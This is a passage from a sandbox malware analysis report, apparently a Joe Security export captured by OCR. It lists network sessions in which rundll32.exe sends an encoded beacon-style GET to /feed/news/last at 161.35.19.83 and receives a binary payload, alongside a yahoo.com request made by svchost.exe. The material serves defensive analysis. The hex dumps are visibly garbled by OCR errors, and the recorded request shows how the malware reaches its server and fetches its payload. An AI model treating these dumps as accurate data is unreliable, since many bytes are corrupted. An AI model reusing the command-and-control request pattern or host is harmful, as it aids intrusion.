3b 20 4d 61 78 2d 41 67 65 3d 33 31 35 35 37 36 30 30 3b 20 44 6f 6d 61 69 6e 3d 2e 79 61 68 6f 6 2e 63 6f 6d 3b 20 50
61 74 68 3d 2f 0d Oa 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f
72 742d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73
7263 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6¢ 79 22 0d Oa 52 65 66 65
7272 65 72 2d 50 6f 6¢ 69 63 79 3a 20 6e 6f 2d 72 65 66

Data Ascii: Set-Cookie: B=clggcmtgl5iga&b=3&s=a5; Expires=Wed, 28 Sep 2022 13:54:01 GMT; Max-Age=31557600;
Domain=.yahoo.com; Path=/Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=y
ahoocom-expect-ct-report-only“Referrer-Policy: no-ref
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kBytes
Timestamp transferred

2021-09-28 07:54:01 UTC 959

Session ID Source IP

39 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:54:01 UTC 959

2021-09-28 07:54:01 UTC 960

2021-09-28 07:54:01 UTC 961

2021-09-28 07:54:01 UTC 961

Session ID Source IP

4 192.168.2.3
kBytes

Timestamp transferred

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49945

Direction

ouT

Source Port
49843

Direction

Data

Data Raw: 3c 68 74 6d 6¢ 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 75 74 66 2d 38 27 3e 0a 3c 73 63 72 69 70
743e 0a 76 617220 75 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 3f 65 72 72 3d 34 30 34 26
65 72 72 5f 75 72 6¢ 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 66 6d 76
3564 32 67 68 62 39 31 6a59 75 78 33 72 68 66 67 55 7a 73 70 64 70 51 25 32 66 6e 72 64 6¢ 33 71 76 67 6a 75 33 69
66 71 45 68 51 73 6d 66 67 77 6¢ 76 71 70 78 6a 45 72 6f 68 72 6e 25 32 66 38 61 6a 36 7a 66 64 6d 6b 6d 6d 32 6C 66
35 6f 38 76 6a 6d 38 41 36 65 30 61 63 76 63 31 36 72 69 67 36 25 32 66 27 3b 0a 69 66 28 77 69 6e 64 6f 77 21 3d 77

69 6e 64 6f 77 2e 74 6f 70 29 7b 0a 20 20 64 6f 63 75 6d 65 6e

Data Ascii: <html><meta charset="'utf-8'><script>var u="https://www.yahoo.com/?err=404&err_url=https%3a%2f%2fww
w.yahoo.com%2fmv5d2ghb91jYux3rhfgUzspdpQ%2fnrdi3qvgju3ifgEhQsmfgwivgpxjErohrn%2f8aj6zfdmkmm2If508vjm
8A6e0acvcl6rig6%2f';if(window!=window.top){ documen

Destination IP Destination Port Process

87.248.100.216 443 C:\Windows\System32\svchost.exe

Data

GET /b2YpYOvEhxawféyh70/ HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.yahoo.com

Connection: Keep-Alive

Cookie: B=clggcmtgl5iga&b=3&s=a5

HTTP/1.1 404 Not Found

date: Tue, 28 Sep 2021 07:54:01 GMT

p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi
CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBIi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL
HEA PRE LOC GOV"

cache-control: private

X-content-type-options: nosniff

content-type: text/html; charset=UTF-8

X-envoy-upstream-service-time: 16

server: ATS

Content-Length: 602

Age: 0

Connection: close

Strict-Transport-Security: max-age=31536000

Content-Security-Policy: frame-ancestors 'self* https://*.builtbygirls.com https://*.rivals.com https://*.engadget.com https://*.i
ntheknow.com https://*.autoblog.com https://*.techcrunch.com https://*.yahoo.com https://*.aol.com https://*.huffingtonp
ost.com https://*.oath.com https://*.search.yahoo.com https://*.search.aol.com https://*.search.huffpost.com https://*.v
erizonmedia.com https://*.publishing.oath.com https://*.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts
allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&si
te=frontpage&region=US&lang=en-US&device=desktop&yrid=6fk4mhpgl5igp&partner=;

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 42 3d 63 6¢ 67 67 63 6d 74 67 6¢ 35 69 67 61 26 62 3d 33 26 73 3d 61 35
3b 20 45 78 70 69 72 65 73 3d 57 65 64 2c 20 32 38 20 53 65 70 20 32 30 32 32 20 31 33 3a 35 34 3a 30 31 20 47 4d 54
3b 20 4d 61 78 2d 41 67 65 3d 33 31 35 35 37 36 30 30 3b 20 44 6f 6d 61 69 6e 3d 2e 79 61 68 6f 6f 2e 63 6f 6d 3b 20 50
61 74 68 3d 2f 0d Oa 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f
72742d 7572 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73
72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6¢ 79 22 0d Oa 52 65 66 65
727265 72 2d 50 6f 6¢ 69 63 79 3a 20 6e 6f 2d 72 65 66

Data Ascii: Set-Cookie: B=clggcmtgl5iga&b=3&s=a5; Expires=Wed, 28 Sep 2022 13:54:01 GMT; Max-Age=31557600;
Domain=.yahoo.com; Path=/Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=y
ahoocom-expect-ct-report-only“Referrer-Policy: no-ref

Data Raw: 3c 68 74 6d 6c 3e Oa 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 75 74 66 2d 38 27 3e 0a 3c 73 63 72 69 70
743e 0a 76 61 72 20 75 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 3f 65 72 72 3d 34 30 34 26
6572 72 5f 75 72 6¢ 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 66 62 32
59 70 59 30 76 45 68 78 61 77 66 36 79 68 37 30 25 32 66 27 3b 0a 69 66 28 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77

2e 74 6f 70 29 7b 0a 20 20 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 27 3c 70 3e 43 6f 6e 74 65 6e 74 20 69 73 20 63
757272 65 6e 74 6¢ 79 20 75 6e 61 76 61 69 6¢ 61 62 6¢ 65 2e 3c 2f 70 3e 3¢ 69 6d 67 20 73 72 63 3d 22 2f 2f 67 65 6f
2e 79 61 68 6f 6f 2e 63 6f 6d 2f 70 3f 73 3d 31 31 39 37

Data Ascii: <html><meta charset="'utf-8'><script>var u="https://www.yahoo.com/?err=404&err_url=https%3a%2f%2fww
w.yahoo.com%2fb2YpYOvEhxawf6yh70%2f';if(window!=window.top){ document.write('<p>Content is currently unavaila
ble.</p><img src="//geo.yahoo.com/p?s=1197

Destination IP Destination Port Process
161.35.19.83 443 C:\Windows\System32\rundlI32.exe

Data
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kBytes
Timestamp transferred

2021-09-28 07:53:15 UTC 16

2021-09-28 07:53:17 UTC 18

2021-09-28 07:53:17 UTC 19

2021-09-28 07:53:17 UTC 22

2021-09-28 07:53:17 UTC 26

Copyright Joe Security LLC 2021

Direction

ouT

Data

GET /feed/news/last HTTP/1.1

Date: Tuesday, 28 September 2021

Cookie: ANID=gq8ZNbDF5ks85z4P%2BIMaH%2FzRLe46r7%2F%2Bhnn%2FpDJO9YmMEXgEQh2yDpRm3w
m6yEc8nw0QUIK1eeOO0FbnVhhYzuhW9U2CP{4r9Sa0ADgwo6ZchGF7aQeC26N6C%2FCCbhYOrfYNipK%2B2Zc6aerg5a
Ag%2F5DIAaVWkC3UgShjwPa87rS4RRJI%2FgQ%2BhUe9KG7SMychxOmDLWgMm5AorosFNcYggAbxdUeyP
Wj58HkitgRmQpb0AN0ipNS8s%2BRYIVzgQTpYz2w2ApzBXhbNaHx6H%2BPNhSnIBxjhUJh%2BENnfERAY 3%2FereScY
2VGIOIu9kQN2gSQB6CcX%2FydHVs90Y SGgball9%2FKRtZmA%3D%3D;DV=bk1e1AVb6bDBB15TZjdSHRE
OW%2FpPzJGiFV9CCAW%2F%2BDx8qoF2UEA7WSLR{%2FUyQzTIverFAs8xyIvjFOFXbAONeQHOTC1X%2FkR%2Bipspq
pxs9yBiScZtgCVRH3Qtnyvj8mgmgG1mJfXIHbzQT6u%2FepOCTNAReKIkt7YhDNBO1ICa6WekK6uTi7ORETgdkoUHR
7LtbvFScvwUTwmed3YhwAoD5GRsDCVwj69ja%2F7vplhsjlg%2BU%2FUSN52YACV682It0Ux3Q%2FDWwrRqMBQKDS7
bCNilymAw49W8LbB8hCYh%2Fd84nRLIN1ZSQuLr8eGg9Xz%2FEBVI0Isa01XrPCO3R8bzdP5Ww%3D%3D;HSID=7p2
0kAQ%2Bbwnc%2FHObB8HIDXCdDzy0aS%2F4zQzJglj7SYi7g2LYEJsykLgHExXJiINFarOsLshOoPKRVgHc6td1VXYY1
p8MosCeAKFuhcgvWWNGfzb5s%2FPpUK7pwZmxt%2F25aKTLZUex0Hd%2Fadg7kBasDUQABQtXKVODMAM
PJ9yMmynszF8pVvrb%2F9euilg3r9dyDEMWi3aSAcKn5SNBEDkkogPuLT%2BzcceY6IrPVjayohjRSmdyaYkUzDbCrN
8E7V%2FYMTdbDJIX0sZgVSKo3dszKyormVc%2BWW2nnF4F9GTwhaDIVMO1RfCIU12mtBDTq5RzX1b2hCRYYEOQrI%2
BGQV11UICqQ%3D%3D;CGIC=Cexv80shhUzwIt5yiuHIgX%2BZkkazRCMjSkAXbNC8D%2B4M%2BETLLEuUr34ULZCuY9
|IEIKzupLECHIWpCx1VGaJsPZGGKuaTj5ergaDrix6KV8CEVQVI%2FWS3dPPbvIMN78V5NR8trJBhIMCRTC7%2BI%2F
HWf%2FDWa90KE5CqMyUmjhChEVUPtnE5DJq%2BjCUSAUHAToTXWI7hKJIVUJZBZrLNHa4SI109AgP93EP
S60RMvwH7yru1g9x1jysF7Mw%2BLtyzwruO6JmliQpaNrER5RE70C4zaylRqldXmUqWOBarWvVZB6d2fhRRFVpXkCg
8k%2BYN6HJUUeOFLD3ZGVZiFWpnZ46va99w%3D%3D;

Var: HvCfX7r%2F%2Fyc7VNJ2u4RyBzMwa2jTWigcYwYPJVKLBZIHMPHsU3dolgjc5Ev%2BuW8akXBNALZohp8bklo
RVQ%2FbjBILVVRcWuBLDgPELN%2B4br31yAtulcj9YjM7jIcY TaAIWhAEJIZfxIrIObTCtJ2vIf26ImclnjtktiKBkz TOyCkdO2IL
9Ej%2BSGtnOlluAvpdCmZDUHVCdmvZZn5wseu89k0%2F%2FyuOvvw2FFTzw39J45FwmRggoYHBJXvhyn
WMBWEN%2B5RJIT2exvxO2fNPR9Iahxxd3RRRsMPJ69s85wyIP0YUJELpNG27%2Fv20Z3nx79PBFguSjpAApKIdrog8uQ
5Zyx%2FGQ%3D%3D

X-Tag: %2BVQdD3Fps7PU59NYghlkzVxY3NtDDD9%2F6F4hqd%2F7XKa3tsWvnyorQejUQ6ETB7BVvsKanr3rvSjfo
IWtwhxj%2BR%2BJO8mesamG1CCDaOA6WBXQxI0Ze4E%2Biy4iyVh%2BDKbo8n4A6fMMVbGVY07Q14HW
5b2HpHB3E0GNUAXCOoKCXPcH2xjZ56bdr7tYZ1VrYxBz%2FS9LJI%2Fuxsz%2BONyPYgAI%2FOfq2%2BvSe5wrajdRGU
leErrmcYtWuTWHRQqy7GNj1097GOkCTPJOHOwWLg029hQzv4tHmJ1dzY SIXkLe4YdqOdgONSHvctcsG5aHTEXXzHKPTh
ILCIC7AVcqqFKZfriH72ZTg%3D%3D

Vary: adtDcv1iWJ4z9M1pK8m1TQaSKE%2BZmVrj9z%2FPYbLwqg8tDruh3KjpDc7d%2FBMB%2Fd3jF2Jx%2BMcKHpT
TvhSz%2FNQsh2RE7awLImBYHF91RmBu47eNbPHJIqCIf5Zfd791DIpel 3not337GFtbhnKM20EG9j00gY Vgw3w4zuNG
sQ4PCX3HIckDDO8mMDZBcyX5XAUEJEBZqzRIgqHeSKkBGCY TYB2%2BFkZ%2FCXE%2FY sk3wJbHrAvnSdU%
2FC3rAULYBNhgSmR3z1pj4EFoQafQpe9e CCK2WQ400hiTXUAIMVDLpkRenZbzXv5qYGgPtbJMHIEgZEIWQ5S%2BN3C
Cosw10ZDIiN9bXNX7peLA%3D%3D

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61
Safari/537.36 Edg/94.0.992.31

Host: 161.35.19.83

HTTP/1.1 200 OK

Server: nginx/1.18.0 (Ubuntu)

Content-Type: application/octet-stream

Content-Length: 293376

Connection: close

Date: Tue, 28 Sep 2021 07:53:16 GMT
Content-Description: File Transfer

Content-Disposition: attachment; filename=iJNdwcRSva
Content-Transfer-Encoding: binary

Expires: 0

Cache-Control: must-revalidate, post-check=0, pre-check=0
Pragma: public

X-Frame-Options: DENY

X-Content-Type-Options: nosniff

X-XSS-Protection: 1; mode=block

Data Raw: 43 20 2a Oe 67 bd 43 3b 51 bc f3 dd 1b 6a 57 34 59 8f 38 87 1d 65 62 4f c8 ff c2 72 45 63 c8 12 2d 64 0d ae 7e
9a 88 1b 6f Oc 4e 2e Oe f2 aa d1 cd d4 f2 07 b9 el 5e 92 29 8¢ 1b 78 aa 3e 22 1a Ob 1le 85 a2 ea 36 f1 1b 2c 7d 7f c5 25
53 d7 d3 47 9f 3c 8e a0 1c 48 08 3b 88 61 20 cc dc 27 5e 11 7 9f 01 eb 95 fb 63 a9 72 40 df b9 05 65 aa Oc 3b 87 52 ef a7
63 le 6a dd da fe 34 26 cf 4e a2 c5 60 4a 8f c3 d9 da f0 89 59 67 Oa fO bl 6a 3b 93 ed 81 c9 97 ce d4 ed 8b 70 d0 9b 7f 6d
09 65 63 34 45 97 8f 1b eb 55 69 ¢6 55 2¢ 85 2b 14 e2 aa 91 f2 75 a4 c8 ca f1 43 3e 38 40 af 5e 92 al e2 f9 c5 fe ee Oc 5a
3e 41 70 53 80 da fb 24 fb 32 d5 d1 fO 2f 13 cf 39 54 46 a7 de 54 b8 1b 94 c7 d5 05 42 ce 55 44 el cc cb 2d 26 99 9c ad
39 90 bf €9 31 22 7e Oc 62 92 Oc b6 be f2 25

Data Ascii: C *gC;QjW4Y8ebOrEc-d~oN."N)x>"6,}%SG<H;a “*cr@e;Rcj4&N JYgj;pmec4EUIU,+uC>8@"Z>ApS$2/9TFT
BUD-&91"~b%

Data Raw: 62 22 83 09 3f cO 5¢ 94 4f 19 3d 18 13 09 d4 22 8e 35 62 02 ae f1 60 4c 05 0a 49 1d 74 54 ed a9 67 3f c7 28 c2
a2 ca b4 9d bl 80 73 84 02 76 a0 d2 27 c7 7a f3 12 be 67 64 6f f5 33 c0 2b 10 90 49 d8 e7 3f 14 ec 54 bd 38 61 63 b7 df
3b ee 2f 4d 59 dc ce c1 10 69 96 bf a2 60 e7 14 11 f4 51 90 fa 3a d2 d4 b7 db 62 a6 d6 5e 6b 4d 68 d5 Of fO d1 58 35 a7 1d
64 3b fa 9c 9c 3f c0 7b 93 66 2d 71 8b fe a2 4c f0 13 11 1a a6 31 88 7c 30 a0 8a 64 c1 36 cO ff 11 37 8d bb 97 fe f5 ef 51
94 51 24 42 15 89 ee 0f dO ce 3¢ 83 76 51 00 ¢7 3c d3 42 9a 6d 12 5b f2 b9 a8 75 dc b0 69 57 57 7e c2 fa ef b8 d2 b8 e5
ea 5e ee fd 4b a2 16 68 c6 9d d3 59 2a af 43 0f 5b 30 05 53 bb b8 0d 57 8f 76 9f 56 56 3a ab 6f e4 50 €0 f9 cb c3 65 f2 70
94 01 94 2f 3 1c 57 ¢8 3b 6 28 €3 5¢c ae da

Data Ascii: b"?2\0="5b’LItTg?(sv'zgdo3+I?T8ac;/MYi' Q:b"kMhX5d;?{f-qL1|0d67QQ$B<vQ<Bm[uiWW~"KhY*C[0SWv
VV:oPep/W;(\

Data Raw: 6a ca 9d 80 7f 66 84 fe 57 1a 67 ab f3 73 78 72 37 e4 d9 ee ba 4e 24 2c 0a 87 57 7c 7b €3 42 56 3a 85 22 a3
2b 3c 81 1c c7 0a ab f0 fO a6 3b 2d 86 71 b0 90 d6 a9 57 2 2b aa 62 96 bc 21 9c 4f 3d 09 1d 26 c0 3e 7d 09 fc f9 51 94 e7
3f e3 b9 d2 f4 5b 08 03 94 a3 29 a6 d4 33 ed ab d3 34 de 47 02 32 c8 3a 64 69 b9 dd de 97 e3 12 04 47 84 2e 3e c4 07 47
e3 280 db 22 a7 26 1d a6 04 9f 11 3d 20 ca ba 23 06 21 4c 7a 27 e5 7f 9f de da 1b 07 5b 13 8e d6 88 3d 64 bd d3 18 a3
d2 0c 3466 c9 79 cd fd 79 56 54 e2 5 a0 dc 44 3a c5 d4 1f a8 fa 04 5¢ ac ea ab 3a b0 5a eb f9 dd 6¢ 33 ea 72 c0 08 6b 20
51 50 65 83 bb f4 52 el cd df d7 04 30 4d 67 bd 7 de 8a c6 7f ba 38 23 8e 10 83 d9 c0 70 19 5f 84 78 54 ee ea f4 52 90 ae
c82e 7c 97 61 80 fc 81 a6 1a a0 e6 ec 5a 20 eb

Data Ascii: jfWgsxr7N$, W|{BV:"+<;-qW+b!0=&>}Q?[)34G2:diG.>G"&= #!Lz'[=d4fyyVTD:\:ZI3rk QPeROMg8#p_xTR.|aZ
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kBytes
Timestamp transferred Direction Data

2021-09-28 07:53:17 UTC 30 IN Data Raw: 97 b9 2e d5 4e 2a el 0f 96 Oe 4d 56 dc 8f 7b b2 b8 7b 21 72 32 d4 63 78 75 87 33 9e 85 61 2f 75 75 b6 63 43
2e 85 18 b1 ab 46 33 69 3b 37 04 b6 3d 8f 6a f6 5e a9 74 08 d7 a9 d1 00 c6 b4 6a 3f 63 b7 a4 83 4b 40 e7 f9 a5 f5 a4 5a
66 a9 17 3b 49 c8 0b f4 2a 3e Oe 1a b5 b3 c3 3e 6d 36 32 al c4 ae 7e bl a5 €0 ee bf d1 4f 09 f5 d3 77 05 b7 99 d5 84 38
8 95 40 ea 2e 40 be ab 5c 38 c2 ef e8 ca 0a 73 42 fb f1 96 4f ba 21 c1 73 c9 ¢3 35 15 11 Oe 26 69 2b fa 4f e4 7d fb 8f 5f
dd 69 16 35 87 1c fb 54 b7 5f ea 7c 4d 80 12 4b b3 7e 43 fb 0d 32 05 80 2a 46 01 be a7 d3 1c d8 bc de 97 b3 db ea 14 1f
73 61 2e 52 43 cb 60 04 91 15 db 21 2e 6f €8 3c 24 07 17 ad 64 80 94 e2 be bf b3 ed 95 10 10 ac 6f 69 de {7 22 2a 0d c7
c3 79 b9 56 9b 18 2f de b5 fe 89 61 8c fd Oc 09 93 cO
Data Ascii: .N*MV{{!r2cxu3a/uucC.F3i;7=j"tj?cK@Zf;1*>>m62~0Ow8@.@\8sBO!s5&i+0}_i5T_|MK~C2*Fsa.RC'l.o<
$doi"*yV/a

2021-09-28 07:53:17 UTC 34 IN Data Raw: ee 7b 5c 8c 4b 11 b2 e2 01 9d a5 d2 52 8b 8f 87 8b 67 72 22 4f df 83 f4 d9 d7 4f 32 d4 23 56 93 10 59 70 b0 56
ad 87 f0 09 Ob 1b b4 Oa 71 c3 5c¢ cf 8e €9 87 e6 f6 b4 18 17 €9 4c c7 1a b0 94 f4 36 77 c5 al a0 d6 5b al 50 02 cf 15 51
61 9c c9 a6 27 05 5¢ fa fO 68 65 81 d9 9b 03 e3 41 2d 3f 8f 74 e4 b4 76 c5 22 2f 34 ea a6 d0 el 77 24 09 24 13 4b 3b d4
01 4b 28 84 bd 48 Oe 4f bb 33 e6 3 5¢ 58 c5 4a dd 65 d9 72 5c 4c f7 a3 5f b5 9f b6 82 dc fe be 09 49 fe b2 40 2c 4a 17 2f
48 6a b2 13 a9 5e 1c 27 b8 ea 25 98 05 ch a6 7e c4 71 b5 11 bd 9b 8d 01 8b Ob 54 55 05 81 6e 10 62 a5 5a 6f 6d ce 77
e4 66 94 b0 96 e5 3a d1 aa d4 cd 56 32 6d el b0 32 1b 57 66 45 e2 59 68 c5 da a3 c¢1 53 Oc a8 54 00 b8 73 73 f8 c0 82 c8
44 dc 1f d1 f5 24 b8 27 cc 2c 65 8d b7 c7 0b b0 Of 1a
Data Ascii: {\KRgr'002#VYpVq\L6w[PQa'\heA-?tv"/4w$$K;K(HO3\XJer\L_1@,J/Hj"%~qTUnbZomwf:V2m2WIEYhSTs
sD$'.e

2021-09-28 07:53:17 UTC 38 IN Data Raw: 70 19 70 20 16 3e a8 81 94 5d 31 55 b3 6a ae 7b 45 84 38 fa e0 6d 8f 65 8f 51 6¢ 5d 35 30 22 ¢3 53 2e 75 cc
d5 72 84 44 07 cc 49 e5 1d 95 ¢3 50 f5 7a 83 a3 Oe 8a 42 7c 1b 8f 4a 37 7e 4b 70 b0 7d 34 el 47 bf cb 36 de 62 68 0d 82
eb f7 c6 7c b9 bf 22 3a 64 4e 14 cb f8 08 d3 1f d3 d9 46 bf 99 1e 68 19 d9 61 fd 7b 57 a6 43 9e 93 b4 04 92 25 d4 7f bd el
46 9d 69 1f 2f 55 ef 4c 02 7c cO fd 60 f3 5f e2 fd 81 5a 35 c2 2f Of f2 0f b7 86 al 5e c8 e7 81 8¢ 2e c6 b8 a3 bc c9 8f 04 5a
4d b2 44 1b 32 3f 61 a4 24 2b cf 3a 83 68 32 fa 9f 28 82 d4 bc b7 10 7b 4d Oe 79 09 23 f3 28 97 f1 52 13 a6 c4 32 al c2 3e
57 10 d8 5e c8 cd eb 55 10 6d b7 71 d2 e8 2e 31 58 b9 5a 61 38 7d 26 69 36 75 04 11 28 14 a6 4e Ob 8c cc 2b 41 7a ac
98 8d 1d aa 48 28 3e b0 11 64 9b 14 9e dc d7 f2
Data Ascii: pp >]1U{E8meQI]50"S.urDIPzB|J7~Kp}4G6bh|":dNFha{WC%Fi/UL| _Z5/".ZMD2?a$+:h2({My#(R2>W"U
mq.1XZa8}&i6u(N+AzH(>d

2021-09-28 07:53:17 UTC 42 IN Data Raw: cf ca e4 c3 fa c7 1b 1d 4e c6 15 80 3e 9a 04 cc 3e 27 24 c6 5¢ 55 8b b7 68 71 80 58 5d 55 3f 60 a9 27 b9 e6
5c fO a5 26 b6 f9 1d 87 b5 e2 b2 64 fb b6 63 ab 17 63 24 05 d5 02 d0 4f 79 2c 4c dd 4b 85 1a 73 9d 14 09 89 db 27 32 e2
e4 ac 1b 44 ef fe 1d d8 6b 74 15 4c 11 88 €9 36 ff ef 68 72 25 86 cc 95 3d 64 3a 24 19 24 7b bc c9 61 ee 8e 9f fe cO 18 25
d9 73 cc b1 51 d8 51 a9 c8 a4 67 a3 d3 81 ce ba al f0 a9 e5 f7 d9 ca b2 17 el 87 71 8c 97 c0 Oa Oe ff b2 b8 9a d3 06 Oc
c4 7d 94 ca 3d b5 fd d5 cd da al e6 54 de 64 08 el 81 a8 9b 2f 3e c4 e0 e5 9a 60 fe fa f9 cd 70 dO 60 19 14 2e 99 9c ec
b6 1a 0d bb fc 3a a7 50 b0 8d 44 a2 2 ¢7 98 48 4b 2c d7 b4 fa d4 33 cd 39 4b 24 ¢8 02 d3 dO f4 77 05 40 2f 68 ab 3d 40
49 b6 c0 a9 82 82 81 ac 61 33 a8 f9 fO b8 77 85 88 Oc
Data Ascii: N>>'$\UhgX]U?"\&dcc$0y,LKs'2DktL6hrY%=d:$${a%sQQgq}=Td/>"p .:PDHK,39K$w@/h=@Ia3w

2021-09-28 07:53:17 UTC 46 IN Data Raw: cb 7e bb 36 4c 5¢c 27 9d d8 4b 9 a2 f3 d0 dO 2b d2 c6 76 €8 fb 5e 2b c2 37 00 ab b9 af 11 1c ¢5 33 09 c8 7f 2d
€9 2c 91 08 51 65 d8 28 db a5 76 47 26 53 9b 25 ac 36 8a c3 a8 93 e2 af ab 8d b1 74 63 44 8 d3 fc 51 76 5c¢ f4 e5 bd cd
e1 94 c5be 09 56 08 al 41 de c1 f0 50 83 6f d9 57 24 93 ab c7 93 9b 76 55 40 e4 36 18 2a 70 22 9d 62 55 54 8b 88 19 4a
56 e13b9b 34 c241e7a9ebed 34e7 ceabcc 15 2f 74 29 ea 31 ¢8 49 97 a0 f1 71 52 69 9e el da b6 55 4c 3a dc aa 4¢
cb 77 ce c0 ef 80 ec 20 a3 9e 68 46 99 98 eb 8d e3 50 92 0a 3b 31 c8 2f e7 cd 22 68 1d c3 d0 a8 2a d5 39 7c d2 d3 9f c8
de fb 24 50 06 91 63 d9 8f 84 d9 dd 8c 92 7b 91 21 07 07 c2 6d d8 db 85 07 87 d4 7d 51 4e c8 d8 04 62 ff b4 20 d7 52 d7
ec c6 7b 1e 27 75 2f 09 a7 40 af d2 d7 b6 a9 2b 83 2b
Data Ascii: ~6L\'K+v"+73-,Qe(vG&S%6tcDQVWWAPoWSVU@6*p"bUTJIV;4A4/t)1IgRIUL:Lw hFP;1/'h*9|$Pc{!m}QNb R
{u/@++

2021-09-28 07:53:17 UTC 50 IN Data Raw: 32 c0 a3 e4 4e 7c Oa 8c 06 8f b2 1c 59 c1 34 e0 3e 5d 5a 8b 82 16 18 2f d5 1f 01 6b 18 aa dd a6 29 3c 33 61
C6 4b b8 a2 44 d3 de 42 49 35 20 60 2d 99 57 3f bc 50 cb 17 93 cb 30 53 5b 3 23 e0 f9 54 a7 97 e0 c9 ff ac a0 30 7 e3 78
8f el 3a 32 6f 62 8f a4 e0 99 68 8b 2f 50 66 91 08 5b 48 1c a2 2b 98 8b b7 b4 cc 00 d5 1f 60 31 b7 8a 9c 91 bd df 18 cb
63 48 ae a3 c9 c0 c5 4a 45 5e 1e 9d c¢3 d3 72 cc 3f bf 11 a8 14 e7 ff 6d 12 2c 30 3e 3b 84 6b 20 {7 4c 4b 2d 05 dc 9c 16
3d f5 12 38 40 6a 07 f1 6b b8 7d Oe 04 ee 4a bl 54 c8 3e 97 38 b6 fc d2 f9 bc 3a dc 69 e9 5e 6f 00 a2 83 4f 1a 47 67 ea ba
9d 93 f6 98 1b fO 7f 5 92 54 13 a6 72 f3 b1 2d 7c 90 ec 67 0f a6 b0 db 6c 8b e5 7c 88 d2 e2 ce b2 af 43 04 55 02 29 cd 40
6b 61 89 f2 56 87 ca 4f 6b 1e e5 50 15 ca 36 99
Data Ascii: 2N|Y4>]Z/k)<3aKDBI5 “-W?POS[#T0x:20bh/Pf{H+ 1cHIJEAr?m,0>;k LK-=8@jk}JT>8:i"00GgTr-|gl|CU
)@kaVOkP6

2021-09-28 07:53:17 UTC 54 IN Data Raw: f3 86 7e b9 2a 61 67 08 18 d7 71 8f 11 5a 8a 71 c4 6f 79 a5 26 ed 83 a0 16 37 cf 6d 7e 53 71 44 a7 df el 60 19
ee cc c5 da 50 6e 30 3c 1a 2b fa b0 4c 2e 3b b2 07 dO 8c c1 65 el 09 51 8¢ b0 49 cd 76 cc 34 4a 78 40 67 22 72 3d 0f 2c
€4 139113 90 26 a5 21 14 79 8f 91 e8 7f 38 4b 5f 18 3a 6a 02 c4 f7 67 3a 08 ac 02 2f 89 be 0d bb 2a 4b 79 57 d7 9e cd
af da bc 4c 7 ad 37 a7 22 cd c5 86 69 6d f4 f3 9b 60 45 25 6b 7f 05 60 3d 09 9a 23 78 7e bf 12 b7 09 89 62 cf c6 cf 74 96
clab 853a85elcc2e9cla7ad6 58 cc 33 9f cf 14 6b 25 cO €9 c4 78 96 1d c9 5d 7a 53 30 85 8f 5a 4e 03 8a 03 49 db
14 0d b2 aa aa d9 50 4a bd 3b ef 01 f2 f2 7 d8 ea €0 c0 c1 fb 67 6d ba e5 e9 49 59 ad 8b 51 68 41 d7 b4 04 a2 ea c1 56
7e 1a 73 38 fd 1e b5 d3 4f ba ad 9 94 dd 51 43 el
Data Ascii: ~*agqZqoy&7m~SqD Pn0<+L.;eQIv4Ix@g"r=,&1y8K_:jg:/*KyWL7"im E%k =#x~bt:.zZX3k%x]zS0ZNIPJ;g
mlYQhAV~s80QC

2021-09-28 07:53:17 UTC 58 IN Data Raw: c5 ae 3c d7 18 51 85 21 57 6d 9e a8 b0 55 d9 0a 33 7d 67 10 f4 33 04 ac 1a eb ae b6 6¢ 88 7c 55 cO ee 58 d2
66 66 15 40 26 fc 9e b3 3d 37 61 06 90 71 ae 76 40 ec fc e0 dc 27 85 72 61 cf 7d f3 56 2d 31 cc b0 01 66 60 49 75 a8 83
8 2d ef 38 06 42 ae 32 7a fa 37 d9 cb e3 58 73 8d 4e 1f 25 1c 41 7a 36 9f 4f 95 37 cf 5f ac b8 59 Oa 5¢ 0f 83 b0 bd d9 c6
